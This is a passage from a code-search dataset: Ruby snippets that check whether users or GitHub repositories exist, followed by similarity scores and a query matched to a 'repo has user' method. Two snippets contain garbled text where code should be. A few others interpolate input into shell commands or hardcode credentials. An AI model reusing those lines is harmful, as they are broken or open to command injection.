"def get_username\n user_response = Faraday.get \"https://api.github.com/user\", {}, {'Authorization'=>\"token #{self.access_token}\", 'Accept' => 'application/json'}\n user_json = JSON.parse(user_response.body)\n user_json[\"login\"]\n end",
"def github_user(fatal = true)\n if user = GIT_CONFIG['config github.user']\n user\n elsif fatal\n abort(\"** No GitHub user set. See #{LGHCONF}\")\n end\n end",
"def github_user(fatal = true)\n if user = GIT_CONFIG['config github.user']\n user\n elsif fatal\n abort(\"** No GitHub user set. See #{LGHCONF}\")\n end\n end",
"def does_user_exist(username)\n user = Account.find_by(:user_name => username)\n if user\n return true\n else\n return false\n end\nend",
"def does_user_exist (username)\n user = Account.find_by(:user_name=> username)\n if user\n return true\n else\n return false\n end\nend",
"def exists?(name)\n find_user(name)&.size != 0\n end",
"def username_taken?\n @user and user.errors.added?(:username, :taken)\n end",
"def check_user_exists\n not_a_user = { \"text\": \"You ain't a user - please sign up with this link: ENV['BASE_URL']/users/sign_up\" }\n unless User.exists?(username: params[:user_name])\n puts params[:user_name]\n render json: not_a_user\n end\n end",
"def run_repo_exists?(repo)\n\t\t\tif v.repo_exists?(repo)\n\t\t\t\t$stdout.puts Rainbow(\"Success: '#{repo}' exists and '#{ev.user}' has privileges\").green\n\t\t\telse\n\t\t\t\texit 1\n\t\t\tend\n\t\tend",
"def selection(github_url = nil)\n puts 'please enter a Github user name or a Github url'.light_green\n github_url = if github_url.nil?\n gets.chomp.downcase\n else\n github_url.downcase\n end\n # in case that the input is the full url extract only the username\n return github_url.split('m/')[1] if\n github_url.include? 'https://github.com/'\n\n github_url\nend",
"def github_repo\n # GitHub allows underscores, hyphens and dots in repo names\n # but only hyphens in user/organisation names (as well as alphanumeric).\n repository_url.scan(/:([A-Za-z0-9-]+\\/[\\w.-]+)\\.git$/).join\n end",
"def already_exists?(irc_authname)\n Player.filter(:irc_authname => irc_authname).select(:irc_authname).any?\n end",
"def already_exists?(irc_authname)\n Player.filter(:irc_authname => irc_authname).select(:irc_authname).any?\n end",
"def user_exists? env, username\n return false if config.nil? || config.empty?\n return true if config[env].has_key? username\n end",
"def valid_username?(name)\n\t\t$users_and_passwords.each do |element|\n\t\t\tif element[USERNAME] == name\n\t\t\t\t@username=name\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\t\t\t\n\t\treturn false\n\tend",
"def is_owner?(username)\n User.get_user(username).eql?(self.owner)\n end",
"def username_exists?(usernames, username)\n !usernames[username].nil?\nend",
"def does_user_exist?(username)\n user = UsersModel.find_by(:name => username.to_s)\n if user\n return true\n else\n return false\n end\nend",
"def exists?(username)\n perform_request({:action => 'client-checkexists', :username => username})\n statusmsg.match /client exists/i\n end",
"def check_user_github_organizations\n if Figaro.env.respond_to?(:github_organization)\n github_orgs_url = auth_hash.extra.raw_info.organizations_url + '?access_token=' + auth_hash.credentials.token\n user_organizations = get_user_github_organizations(github_orgs_url)\n unless user_organizations.include?(Figaro.env.github_organization)\n flash[:error] = \"You are not a member of the github organization '#{Figaro.env.github_organization}'\"\n logger.error \"User email '#{get_user_email}' is not in github organization '#{Figaro.env.github_organization}'\"\n return false\n end\n end\n\n true\n end",
"def test_email_username?\n # get the user by the supplied email\n here = true\n found = User.find_by(email: params[:email])\n # If it's not nil and not equal to current user\n if ( !found.nil? && [email protected](found))\n # Someone already has that email\n flash[:error] = \"Email already in use\"\n here = false\n end\n # get the user by the supplied username\n found = User.find_by(username: params[:username])\n # If it's not nil and not equal to current user\n if ( !found.nil? && [email protected](found))\n flash[:error] = \"Username already in use\"\n here = false\n end\n # Since username and email aren't currently being used\n return here\n end",
"def valid_username?(username)\n url = URI.parse(\"https://auth.roblox.com/v1/usernames/validate?context=UsernameChange&username=#{username}\")\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n req = Net::HTTP::Get.new(url.request_uri)\n req[\"Accept-Encoding\"] = \"gzip, deflate, br\"\n req[\"Cookie\"] = \".ROBLOSECURITY=#{ROBLO_SECURITY}\"\n\n begin\n response = http.request(req)\n rescue\n retry\n end\n\n gz = Zlib::GzipReader.new(StringIO.new(response.body.to_s))\n JSON.parse(gz.read)['data'] == 0\nend",
"def organization_member?(org_name)\n orgs = github_request(\"orgs/#{org_name}/members\")\n orgs.map { |org| org[\"login\"] }.include?(login)\n rescue RestClient::Forbidden, RestClient::Unauthorized, RestClient::ResourceNotFound => e\n false\n end",
"def gitlab_endpoint_exists?(gitlab_url)\n with_gitlab(gitlab_url, 'Iamsecret') do |g|\n g.user\n end\n rescue Gitlab::Error::Unauthorized\n true\n rescue Exception\n false\n end",
"def repo_ident_unique?\n !GitHosting.multi_repos? || GitHostingConf.unique_repo_identifier?\n end",
"def parse_repo\n matches = @source_url.match @github_regexp\n return unless matches\n owner = matches[:owner]\n name = matches[:name]\n \"#{owner}/#{name}\"\n end",
"def is?(url)\n return true if url.match('https?://github\\.com/(.+)/(.+)')\n end",
"def validate_username\n if User.where(email: username).exists?\n errors.add(:username, :invalid)\n end\n end",
"def validate_username\n if User.where(email: username).exists?\n errors.add(:username, :invalid)\n end\n end",
"def find_username\n @username || $config.fetch(:username) || prompt_username\n end",
"def check_username\n if /[a-zA-Z0-9_-]/.match(params[:username])\n user = User.username(params[:username])\n if user.blank?\n render :json => [\"free\", \":)\"]\n else\n render :json => [\"taken\", \"Sorry, username exists!\"]\n end\n else\n render :json => [\"Letters, numbers, dashes and underscores only please :)\"]\n end\n end",
"def create\n username = user_params[:username]\n if (User.where(username: username).exists?)\n result = get_user(username)\n else\n result = create_user(username)\n end\n\n respond_to do |format|\n if (result[:is_success])\n format.html { redirect_to result[:data], notice: 'Repositories were successfully retrieved.' }\n else\n flash[:error] = \"User wasn't found!\"\n format.html { redirect_to action: \"new\"}\n end\n end\n end",
"def username_reserved?\n ReservedUsernames.include?(username)\n end",
"def check_name(new_username)\n db = connect_to_database()\n if db.execute(\"SELECT * FROM users WHERE Username =?\", new_username) != []\n return true\n else \n return false\n end \n end",
"def url_exists?(github_url)\n url = URI.parse(github_url)\n req = Net::HTTP.new(url.host, url.port)\n req.use_ssl = true\n res = req.request_head(url.path)\n if res.is_a?(Net::HTTPRedirection)\n url_exist?(res['location']) # Go after any redirect and make sure you can access the redirected URL\n else\n res.code[0] != '4' # false if http code starts with 4 - error on your side.\n end\nrescue Errno::ENOENT\n false # false if can't find the server\nend",
"def following?(*args)\n arguments(args, required: [:username])\n params = arguments.params\n if target_user = params.delete('target_user')\n get_request(\"/users/#{arguments.username}/following/#{target_user}\", params)\n else\n get_request(\"/user/following/#{arguments.username}\", params)\n end\n true\n rescue Github::Error::NotFound\n false\n end",
"def namecheck(name)\n # puts(\"looking for name\")\n if @users.has_key?(name) == true\n return true\n else\n # puts(\"name not found?\")\n return false\n end\n end",
"def validate_username\n if User.where(email: username).exists? || User.where(username: username).exists? \n errors.add(:username, :invalid)\n end\n end",
"def disabled?\n !github_repository.on_github? || !github_user.on_github?\n end",
"def github_handle\n user.try(:github_handle)\n end",
"def exist?\n @grit && @grit.git.exists?\n end",
"def member?(*args)\n params = arguments(args, required: [:org_name, :user]).params\n org_name = arguments.org_name\n user = arguments.user\n\n response = if params.delete('public')\n get_request(\"/orgs/#{org_name}/public_members/#{user}\", params)\n else\n get_request(\"/orgs/#{org_name}/members/#{user}\", params)\n end\n response.status == 204\n rescue Github::Error::NotFound\n false\n end",
"def validate_username\n if User.where(email: username).exist?\n errors.add(:username, :invalid)\n end\n end",
"def repository\n @repository ||= Github::Repository.find user: user, name: name\n end",
"def check_repo(url)\n output = `git ls-remote #{url} 2>&1`\n if ($? != 0)\n raise BadRepo.new(url + \"<<<\" + output.to_s + \">>>\")\n end\n end",
"def has_user?(name, options={})\n run(\"id #{name}\").success?\n end",
"def username_available?(username)\n response = get('api/username_available.json', :user => username)\n response[:body]\n end",
"def username_present?(username)\n @hashers.key?(username) && @passwords.key?(username)\n end",
"def index\n if User.exists?(username: username_params) \n head :conflict\n else\n head :no_content\n end\n end",
"def exists?(username)\n File.open(FTPUSERS_PATH, 'r') do |f|\n f.each_line do |line|\n existing_user = line.split(':').first\n if username.eql?(existing_user)\n return true\n end\n end\n end\n\n return false\n end",
"def isUsernameAvailable(username)\n player = self.playerWithUsername username\n return player == nil\n end"
] |
[
"0.7339824",
"0.71845007",
"0.7065369",
"0.69889367",
"0.6870947",
"0.6852076",
"0.68222016",
"0.6820944",
"0.6788984",
"0.6717754",
"0.6657835",
"0.66564673",
"0.6642805",
"0.6573611",
"0.65582347",
"0.6556292",
"0.6450387",
"0.64468396",
"0.64214814",
"0.64173365",
"0.6398144",
"0.6370761",
"0.6349239",
"0.6335811",
"0.63268733",
"0.63233197",
"0.63141376",
"0.6306706",
"0.6302307",
"0.6292093",
"0.6289684",
"0.6279475",
"0.6267806",
"0.6257401",
"0.62489146",
"0.6247272",
"0.62353444",
"0.6230624",
"0.6209786",
"0.62057626",
"0.62037665",
"0.6182445",
"0.6149326",
"0.6134945",
"0.6133754",
"0.6127151",
"0.61187845",
"0.6101285",
"0.6072063",
"0.6046085",
"0.604197",
"0.604197",
"0.60393023",
"0.6030932",
"0.6022343",
"0.6012197",
"0.6007001",
"0.6006285",
"0.6001868",
"0.5995377",
"0.5986842",
"0.5986842",
"0.59754175",
"0.59731346",
"0.59682477",
"0.5944279",
"0.59431845",
"0.59358966",
"0.5930791",
"0.5920112",
"0.5916005",
"0.591506",
"0.59061414",
"0.59052193",
"0.5898733",
"0.58907497",
"0.5883258",
"0.5883258",
"0.58806664",
"0.5869424",
"0.5865648",
"0.58534425",
"0.58463544",
"0.58293205",
"0.58292353",
"0.5824144",
"0.58200514",
"0.5802306",
"0.5800935",
"0.5794213",
"0.5794039",
"0.5783136",
"0.5778974",
"0.5775748",
"0.57603145",
"0.57585406",
"0.5756792",
"0.5750351",
"0.57407725",
"0.57349235"
] |
0.82724875
|
0
|
checks to see if a repo has a user.
|
def already_on_repo?(user, repo)
repo.users.include?(user)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def valid_user?(repo, options = {})\n response = get(repo.public_users_path, options)\n if response[:id].present?\n true\n else\n raise Github::UserNotFound, [NO_USER,\n '[',\n response[:message].to_s,\n ']'].join\n end\n end",
"def current_user_repository_access?\n client = Octokit::Client.new(access_token: @current_user.github_token)\n client.repository?(\"#{@project.github_owner}/#{@project.github_name}\")\n end",
"def valid_user?\n client.valid_user?(user_repo, @options)\n end",
"def owner_user_in_db?\n Woodlock::User.find_by(github_username: @project.github_owner) ? true : false\n end",
"def is_yours?\n @repo[:name].include?(\"#{@user.username}/\")\n end",
"def run_repo_exists?(repo)\n\t\t\tif v.repo_exists?(repo)\n\t\t\t\t$stdout.puts Rainbow(\"Success: '#{repo}' exists and '#{ev.user}' has privileges\").green\n\t\t\telse\n\t\t\t\texit 1\n\t\t\tend\n\t\tend",
"def check_user_github_organizations\n if Figaro.env.respond_to?(:github_organization)\n github_orgs_url = auth_hash.extra.raw_info.organizations_url + '?access_token=' + auth_hash.credentials.token\n user_organizations = get_user_github_organizations(github_orgs_url)\n unless user_organizations.include?(Figaro.env.github_organization)\n flash[:error] = \"You are not a member of the github organization '#{Figaro.env.github_organization}'\"\n logger.error \"User email '#{get_user_email}' is not in github organization '#{Figaro.env.github_organization}'\"\n return false\n end\n end\n\n true\n end",
"def existing_repo?\n @repo = Repo.where(full_name: repo_full_name).first\n @repo.present?\n end",
"def find_user(github_username)\n if username_exists?(github_username)\n User.all.find_by(github_username: github_username)\n else\n false\n end\n end",
"def org?(user)\n response = Typhoeus.head \"https://github.com/orgs/#{user}/people\", accept_encoding: 'gzip'\n response.success? || response.response_code == 429\nend",
"def find_user_repo(user, repo)\n UserRepo.find_by(\"user_id = ? AND repo_id = ?\", user.id, repo.id)\n end",
"def github_account?\n !github_user.nil? and !github_token.nil?\n end",
"def has_assigned_user?(issue)\n !User.find_by(id: issue.user_issue.user_id).nil?\n end",
"def org_member?(client)\n begin\n client.user # Authenticate User.\n if client.org_member?(GITHUB_ORG, client.user.login)\n return true\n else\n return false\n end\n rescue Octokit::OneTimePasswordRequired => e\n GitLfsS3::Application.settings.logger.warn\\\n 'Octokit::OneTimePasswordRequired exception raised for username #{client.user.login}. '\\\n 'Please use a personal access token.'\n return false\n rescue Octokit::Unauthorized\n return false\n end\nend",
"def has_user?\n !user.nil?\n end",
"def username_exists?(github_username)\n !!User.all.find_by(github_username: github_username)\n end",
"def hasOwner? \n\t\tunless self.author_id.nil? || self.author_id == 0\n\t\t\tUser.find(self.author_id)\n\t\tend\n\n\tend",
"def has_owner? user\n self.account_users.where(user: user, is_owner: true).count > 0\n end",
"def hasuser? username\n\t\[email protected]? username\t\t\n\tend",
"def authorized_for_github?\n !github.nil?\n end",
"def access_to_repo?(repo_url: nil)\n client.repository?(repo_url.sub(\"https://github.com/\", \"\"))\n end",
"def user_trusted?(login, repo, settings)\n user_in_group?(login, repo, settings, 'repo_to_teams')\n end",
"def team_repo?(id, owner, repo)\n boolean_request :get, \"/teams/#{id}/repos/#{owner}/#{repo}\"\n end",
"def git_repo?\n !repository_root.to_s.empty?\n end",
"def gitlab_user_exists?(gitlab_url, private_token)\n with_gitlab(gitlab_url, private_token) do |g|\n g.user\n end\n\n true\n rescue Gitlab::Error::Unauthorized\n false\n end",
"def user_exists?(user)\n return !get_user(user).nil?\n end",
"def repo_exists?(repo_id)\n return false if repo_id == nil || repo_id == false # It actually returns true without this conditon.\n app_client.repository?(repo_id)\nend",
"def user_exists?(username)\n Sys::Admin.get_user(username)\n true\n rescue\n false\n end",
"def organization_member?(org, username)\n boolean_request :get, \"/orgs/#{org}/members/#{username}\"\n end",
"def owned?\n user.present?\n end",
"def user_present?\n user_token_present? && User.find_by(auth_token: user_token)\n end",
"def check_current_user_owns\n head :not_found unless @user == current_user\n end",
"def has_user_credential?(username)\n self.credentials.map { |credential| credential.username }.include?(username)\n end",
"def user_in_group?(login, repo, settings, group_identifier)\n trusted = false\n repo_setting_key = \"#{repo}_#{settings['name']}_#{group_identifier}\"\n if $permissions[login]\n if $permissions[login][repo_setting_key]\n trusted = $permissions[login][repo_setting_key] ? true : false\n end\n else\n $permissions[login] = {}\n end\n if $permissions[login][repo_setting_key].nil?\n settings[group_identifier][repo].each do |team|\n res = get \"#{GITHUB_API_BASE_URL}/teams/#{team}/members/#{login}\"\n trusted = res.success?\n break if trusted\n end\n $permissions[login][repo_setting_key] = trusted\n end\n trusted\n end",
"def has_user?(name, options={})\n run(\"id #{name}\").success?\n end",
"def is_owned_by_user?(user)\n self.user == user\n end",
"def has_users?\n username.present? || user_file.present? || userpass_file.present? || !additional_publics.empty?\n end",
"def owned_by?(user_id)\n user_id = user_id.id if user_id.is_a?(User)\n has_role(user_id, :creator)\n end",
"def has_permission?(repo, user, permission)\n RepositoryPermissionsService.permission_for(repo, user).try(:permission) == permission.to_s.downcase\n end",
"def repo_user\n # TODO: Clarify what repo_user actually is.\n # github is currently using the repo's 'owner', gitlab is using the user who pushed.\n case @vcs\n when 'github'\n @data['repository']['owner']['login']\n when 'gitlab'\n @data['user_username']\n end\n # TODO: Bitbucket, Stash/Bitbucket Server, TFS\n end",
"def is_owner?(user)\n !user.nil? && (self.user_id == user.id)\n end",
"def authorized_to_contribute?(github_login)\n user = User.find_by_github_login(github_login)\n\n user.authorized_to_contribute?\n end",
"def owner?(project)\n if id == project.user.id\n true\n else\n false\n end\n end",
"def owner? usr\n user_id == usr.id\n end",
"def current_user_exists?\n return false if config.current_user.nil?\n return true\n end",
"def user_admin?(login, repo, settings)\n user_in_group?(login, repo, settings, 'repo_to_admin_teams')\n end",
"def is_committed_to_by?(user)\n return self.committed_user.find_by_committed_user_id(user.id).present?\n end",
"def user_project_manager?\n user_logged_in? && current_user.type == 'ProjectManager'\n end",
"def has_user?(user)\n self.users.include?(user)\n end",
"def check_owner_user\n @guild = Guild.find(@invite[:guild_id])\n if self.admin?\n return 1\n end\n return (@guild[:owner_id] == session[:user_id]) ? 1 : nil\n end",
"def has_github?\n github_identity.present?\n end",
"def member?\n client.organization_member? org_id, github_user.login\n end",
"def user \n @user ||= @repo.config.username\n end",
"def can_modify_repository?(tracker)\n response = api(url: \"/repos/#{tracker.full_name}/collaborators/#{login}/permission\")\n json = JSON.parse(response.body).with_indifferent_access\n if ['admin', 'write'].include?(json[:permission])\n return true\n end\n false\n rescue Github::API::Unauthorized\n false\n rescue Github::API::NotFound\n false\n end",
"def organization_member?(org_name)\n orgs = github_request(\"orgs/#{org_name}/members\")\n orgs.map { |org| org[\"login\"] }.include?(login)\n rescue RestClient::Forbidden, RestClient::Unauthorized, RestClient::ResourceNotFound => e\n false\n end",
"def is_user?\n user ? true : false\n end",
"def member?(*args)\n params = arguments(args, required: [:org_name, :user]).params\n org_name = arguments.org_name\n user = arguments.user\n\n response = if params.delete('public')\n get_request(\"/orgs/#{org_name}/public_members/#{user}\", params)\n else\n get_request(\"/orgs/#{org_name}/members/#{user}\", params)\n end\n response.status == 204\n rescue Github::Error::NotFound\n false\n end",
"def check_user\n if self.admin?\n return 1\n end\n return (session[:user_id] && User.find(session[:user_id])) ? 1 : nil\n end",
"def exists?(name)\n find_user(name)&.size != 0\n end",
"def has_owner(user)\n return self.user.id==user.id\n end",
"def is_owner?(this_user)\n user == this_user\n end",
"def disabled?\n !github_repository.on_github? || !github_user.on_github?\n end",
"def user_owner_entry?\n user_entry? && principle == \"OWNER\"\n end",
"def is_git_repo?\n Pkg::Util.in_project_root do\n _, _, ret = Pkg::Util::Execution.capture3(\"#{GIT} rev-parse --git-dir\")\n Pkg::Util::Execution.success?(ret)\n end\n end",
"def user_exists?(username)\n users(username: username).present?\n end",
"def user?(user)\n users.include? user\n end",
"def is_owner?(user)\n user.id == self.user_id\n end",
"def user\n @user ||= @repo.config.username\n end",
"def test_github_profile_exists\n people.each do |name, info|\n github_username = info.fetch(\"github\", false)\n if github_username\n assert_kind_of Sawyer::Resource, octokit.user(github_username), \"#{github_username} is not a real GitHub account\"\n end\n end\n end",
"def owned_by?(user)\n return false unless user.is_a? User\n \n # allow admins and project owners to edit\n user.admin? or self.owner == user\n end",
"def owned_by?(user)\n return false unless user.is_a? User\n \n # allow admins and project owners to edit\n user.admin? or self.owner == user\n end",
"def user_repo\n @user_repo ||= platform_klass::UserRepository.new(@platform.username)\n end",
"def editable_by?(user)\n return false if user.blank?\n project.project_users.exists?([\"role IN ('curator', 'manager') AND user_id = ?\", user])\n end",
"def exist?\n @grit && @grit.git.exists?\n end",
"def user_is_guild_owner?\n @guild = Guild.find(User.find(session[:user_id])[:guild_id])\n return (@guild[:owner_id] == session[:user_id]) ? true : false\n end",
"def is_owner?(username)\n User.get_user(username).eql?(self.owner)\n end",
"def owned_by?(user)\n if (access_restricted?)\n return self.acl.owner?(user)\n end\n return false\n end",
"def has_user(user_id)\n if self.user_id == user_id\n puts 'You are the mod!'\n return false\n end\n last_registered_player_id = self.last_registered_player_id.to_i\n if last_registered_player_id == -1\n puts \"No user are signed up for this game.\"\n return false\n end\n while last_registered_player_id != -1\n curr_player = Player.find(last_registered_player_id)\n if curr_player.user_id == user_id\n return true\n end\n last_registered_player_id = curr_player.prev_player_id\n end\n return false\n end",
"def check_is_guild_owner\n @guild = Guild.find(User.find(session[:user_id])[:guild_id])\n return (@guild[:owner_id] == session[:user_id]) ? 1 : nil\n end",
"def user?(username)\n\t\t\t\tif(users.has_key?(username))\n\t\t\t\t\treturn(true)\n\t\t\t\tend\n\n\t\t\t\treturn(false)\n\t\t\tend",
"def required_authorization?\n unauthorized_commit_authors.any?\n end",
"def validate_in_repo\n unless File.exist?('.git')\n raise NotInAGitRepository, \"We don't appear to be inside a Git repository!\"\n end\n end",
"def does_exist(username)\n @user_manager.exists?(username)\n end",
"def owned?(user_to_check = current_user)\n user_to_check ? self.creator == user_to_check : false\n end",
"def user_exists?\n return (session[:user_id] && User.find(session[:user_id])) ? true : false\n end",
"def user?\n is_a?(Merit::User)\n end",
"def authed?(irc)\n if !$user.caps(irc, 'op', 'owner').any?\n irc.reply \"You aren't allowed to use this command\"\n return false\n end\n true\n end",
"def linked_github_account?\n accounts.for(\"github\").any?\n end",
"def current_user_can_charge_repo_profile\n profile_name = params[:repository][:profile_name]\n profile = Profile.where(name: profile_name).first\n bounce_user unless profile && profile.can_charge?(current_user)\n end",
"def has_repo?(local_param)\n !list.find { |r| r.param == local_param }.nil?\n end",
"def current_account_has_username?\n logged_in? && current_account.username.present?\n end",
"def usable_repository?\n repository_cache.directory? &&\n run_and_output(\"#{git} remote -v | grep origin\").include?(uri)\n end",
"def user\n options.user || repo.user\n end",
"def find_user_for_git_or_lfs_request\n return unless git_or_lfs_request?\n\n find_user_from_lfs_token || find_user_from_basic_auth_password\n end",
"def owned_by? a_user\n a_user == user\n end",
"def github_repo?\n @url.scan('https://github.com/').present?\n end",
"def repo_object_exists?\n @repo_object_exists ||= batch_item.repo_object_exists?\n end",
"def enrolled?(user)\n return false if user == owner\n users.include?(user)\n end",
"def owned_by?(u)\n self.user == u\n end",
"def user_defined?\n [email protected]? || !@user['userId'].nil?\n end"
] |
[
"0.7677949",
"0.72075623",
"0.7150944",
"0.69297755",
"0.6791755",
"0.6758576",
"0.67515016",
"0.672826",
"0.66763633",
"0.6620732",
"0.65727615",
"0.657062",
"0.6547432",
"0.6544536",
"0.65229636",
"0.649949",
"0.64875406",
"0.64496356",
"0.6446707",
"0.64324754",
"0.63947403",
"0.63862",
"0.6366056",
"0.6347642",
"0.6326773",
"0.6312874",
"0.62834305",
"0.6281719",
"0.62651646",
"0.62626076",
"0.62548745",
"0.6251131",
"0.6224678",
"0.62226546",
"0.62203264",
"0.62162906",
"0.6205697",
"0.62049216",
"0.61971885",
"0.6196438",
"0.61960644",
"0.61929494",
"0.61848193",
"0.6174478",
"0.6169248",
"0.616715",
"0.6154776",
"0.6150765",
"0.61259925",
"0.61181635",
"0.61156243",
"0.6111121",
"0.6110666",
"0.61047184",
"0.6104641",
"0.6101043",
"0.61008537",
"0.6095907",
"0.6087263",
"0.60868496",
"0.60747445",
"0.6055439",
"0.60525787",
"0.60509044",
"0.6048503",
"0.6034829",
"0.6028407",
"0.6023691",
"0.6018607",
"0.6017462",
"0.6017462",
"0.6015437",
"0.6007076",
"0.60046184",
"0.600335",
"0.6001255",
"0.5984635",
"0.5984413",
"0.59840876",
"0.597403",
"0.5973423",
"0.59678066",
"0.5967537",
"0.5958876",
"0.5957508",
"0.59515125",
"0.5947247",
"0.5928563",
"0.5926698",
"0.5921128",
"0.59189445",
"0.59168124",
"0.5915542",
"0.59149295",
"0.5913138",
"0.58933234",
"0.588944",
"0.5885042",
"0.5880071",
"0.5875632"
] |
0.82787746
|
0
|
finds a user through github username
|
def find_user(github_username)
if username_exists?(github_username)
User.all.find_by(github_username: github_username)
else
false
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @user = User.find_by_github_name params[:github_name]\n end",
"def get_username\n user_response = Faraday.get \"https://api.github.com/user\", {}, {'Authorization'=>\"token #{self.access_token}\", 'Accept' => 'application/json'}\n user_json = JSON.parse(user_response.body)\n user_json[\"login\"]\n end",
"def find_by_username\n User.find_by_username(@username_or_id)\n end",
"def find_user\n @current_user = User.find_by github_access_token: session[:github_access_token]\n end",
"def find_uiby_username(uname)\n User.all.find do |user|\n if user.username == uname \n user \n end\n end\n end",
"def find_by_username!\n User.find_by_username!(@username_or_id)\n end",
"def username\n account = github_accounts.first || slack_accounts.first\n account ? account.username : id\n end",
"def find_by_username_menu\n puts\n puts \"Enter a GitHub username with *EXACT* capitalization to list that user's repos:\"\n input = gets_user_input\n #if username exists in our DB, don't make API call.\n if !username_exists?(input)\n #making an API call\n get_data(input)\n end\n if find_user(input) == false\n puts \"That user doesn't exist or doesn't have any public repos\"\n menu\n else\n @user = find_user(input)\n end\n @repos = find_repos(@user)\n if show_repos(@repos) == false\n puts \"User has no repos\"\n menu\n end\n find_by_username_sub_menu\n end",
"def find_user\n @user = User.with_username(params[:id]).first\n end",
"def user(id_or_username = \"my\", params = {})\n if id_or_username.is_a?(Fixnum) || id_or_username == 'my'\n find_user_by_id id_or_username, params\n else\n find_user_by_username id_or_username, params\n end\n end",
"def find_by_username(username)\n find_by(username: username.downcase)\n end",
"def username_exists?(github_username)\n !!User.all.find_by(github_username: github_username)\n end",
"def find_by_id!\n User.find(@username_or_id)\n end",
"def find_user(name) \n \n if ( name.downcase != name )\n @logger.info \"Looking for #{name.downcase} instead of #{name}\"\n end\n query_result = @rally.find(:user, :fetch => true, :pagesize => 100) { equal :login_name, name.downcase }\n \n if query_result.total_result_count == 0\n return nil\n else\n return query_result.results.first\n end\n end",
"def find(nick)\n @users.find { |u| u.nick.downcase == nick.downcase }\n end",
"def github_user_and_project(github_url)\n matches = /github\\.com.(.*?)\\/(.*)/.match(github_url)\n matches ? [matches[1], matches[2].sub(/\\.git\\z/, '')] : [nil, nil]\n end",
"def github_user(fatal = true)\n if user = GIT_CONFIG['config github.user']\n user\n elsif fatal\n abort(\"** No GitHub user set. See #{LGHCONF}\")\n end\n end",
"def github_user(fatal = true)\n if user = GIT_CONFIG['config github.user']\n user\n elsif fatal\n abort(\"** No GitHub user set. See #{LGHCONF}\")\n end\n end",
"def find_by_id\n User.find_by_id(@username_or_id)\n end",
"def find_user(username)\n user = User.find(username, current_user)\n raise Error::AppError.new('UsersController.find_user', \"Username #{username} not found\") if user.nil?\n\n user\n end",
"def find_user_by_username(username, params = {})\n params.merge!(username: username)\n users(params).first\n end",
"def look_for_user(name)\n User.find_by name: name\nend",
"def extract_owner_username(project_hash)\n new_owner = User.find_by_username(project_hash.delete(\"owner_username\"))\n return new_owner\n end",
"def user(user, use_ssl=false) \n url = @base_url + \"/#{user}\"\n GitHub::User.new(JSON.parse(open(url).read)[\"user\"])\n end",
"def get_user(username, users)\n puts \"Searching for user '#{username}'\"\n users.each do |user|\n return user if user[:username] == username\n end\n puts \"User #{username} not found!\"\n return nil\n end",
"def github\n self.account.blank? ? nil : GitHub::API.user(self.account)\n end",
"def repository\n @repository ||= Github::Repository.find user: user, name: name\n end",
"def find_user_byname(username)\n @user = User.where(username: username)\n end",
"def find(username)\n response = client.get \"/users/#{username}\"\n response.code == 200 ? build(JSON.parse(response.body)) : nil\n end",
"def find_username\n # Default to the nickname provided in the Omniauth details. If a nickname\n # was not provided or a user with the same username already exists, use the\n # e-mail address as the username.\n username = auth_nickname\n username = auth_email if username.blank? ||\n User.exists?(username: username)\n\n username\n end",
"def find_username\n @username || $config.fetch(:username) || prompt_username\n end",
"def find_user(alias_, nickname=nil)\n if nickname && ['me', 'i', 'my'].include?(alias_)\n alias_ = nickname\n end\n user = @users.get(alias_)\n raise Pagerbot::UserNotFoundError.new(\"I don't know who #{alias_} is.\") unless user\n return user\n end",
"def find(id, username)\n email = email_for_github_username(username)\n cached, found_id = find_from_cache(id, email)\n\n return found_id if found_id\n\n # We only want to query the database if necessary. If previous lookups\n # didn't yield a user ID we won't query the database again until the\n # keys expire.\n find_id_from_database(id, email) unless cached\n end",
"def find_user_for_git_or_lfs_request\n return unless git_or_lfs_request?\n\n find_user_from_lfs_token || find_user_from_basic_auth_password\n end",
"def get_user\n response = HTTParty.get(\n GIT_BASE_URL + 'users/' + self.git_id.to_s,\n :headers => {\n 'PRIVATE-TOKEN' => GIT_TOKEN\n }\n )\n Rails.logger.info \"Git server response (get user): #{response}\"\n return response\n end",
"def find_user_repo(user, repo)\n UserRepo.find_by(\"user_id = ? AND repo_id = ?\", user.id, repo.id)\n end",
"def user \n @user ||= @repo.config.username\n end",
"def find_user(user_name)\n # begin\n return Mixcloud::User.new(\"http://api.mixcloud.com/#{user_name}/\")\n # rescue Exception => e\n abort(\"User #{user_name} not found on Mixcloud, aborting. - #{e.inspect}\")\n # end\nend",
"def user\n @user ||= @repo.config.username\n end",
"def find_member_by_username(username)\n @board.members.find { |m| m.username == username }\n end",
"def github_handle\n user.try(:github_handle)\n end",
"def find_user_by_login(login)\n GoodData::Domain.find_user_by_login(name, login)\n end",
"def find_user_by_login(login)\n GoodData::Domain.find_user_by_login(name, login)\n end",
"def repo_user\n # TODO: Clarify what repo_user actually is.\n # github is currently using the repo's 'owner', gitlab is using the user who pushed.\n case @vcs\n when 'github'\n @data['repository']['owner']['login']\n when 'gitlab'\n @data['user_username']\n end\n # TODO: Bitbucket, Stash/Bitbucket Server, TFS\n end",
"def get_user(name)\n User.where(name:).first\n end",
"def get_user(name)\n @model.find_by(name: name)\n end",
"def get_data_from_github(id)\n page = Nokogiri::HTML(open(\"https://github.com/#{id}\"))\n # fullname = page.css('body.logged_out.env-production.linux.page-profile\n # div.wrapper div.header.header-logged-out div.container.clearfix\n # div.command-bar.js-command-bar ul.top-nav li.explore a')\n fullname = page.css('span.vcard-fullname').text\n { user: fullname }\nend",
"def find_user\n results = @ldap.search( :base => options[:ldap][:base], :filter => user_filter)\n return results.first\n end",
"def get_user(name, user_list = users)\n return member(name) if name.instance_of?(GoodData::Membership)\n return member(name) if name.instance_of?(GoodData::Profile)\n name = name.is_a?(Hash) ? name[:login] || name[:uri] : name\n return nil unless name\n name.downcase!\n user_list.find do |user|\n user.uri && user.uri.downcase == name ||\n user.login && user.login.downcase == name\n end\n end",
"def user(user_name)\n OctocatHerder::User.fetch(user_name, connection)\n end",
"def selection(github_url = nil)\n puts 'please enter a Github user name or a Github url'.light_green\n github_url = if github_url.nil?\n gets.chomp.downcase\n else\n github_url.downcase\n end\n # in case that the input is the full url extract only the username\n return github_url.split('m/')[1] if\n github_url.include? 'https://github.com/'\n\n github_url\nend",
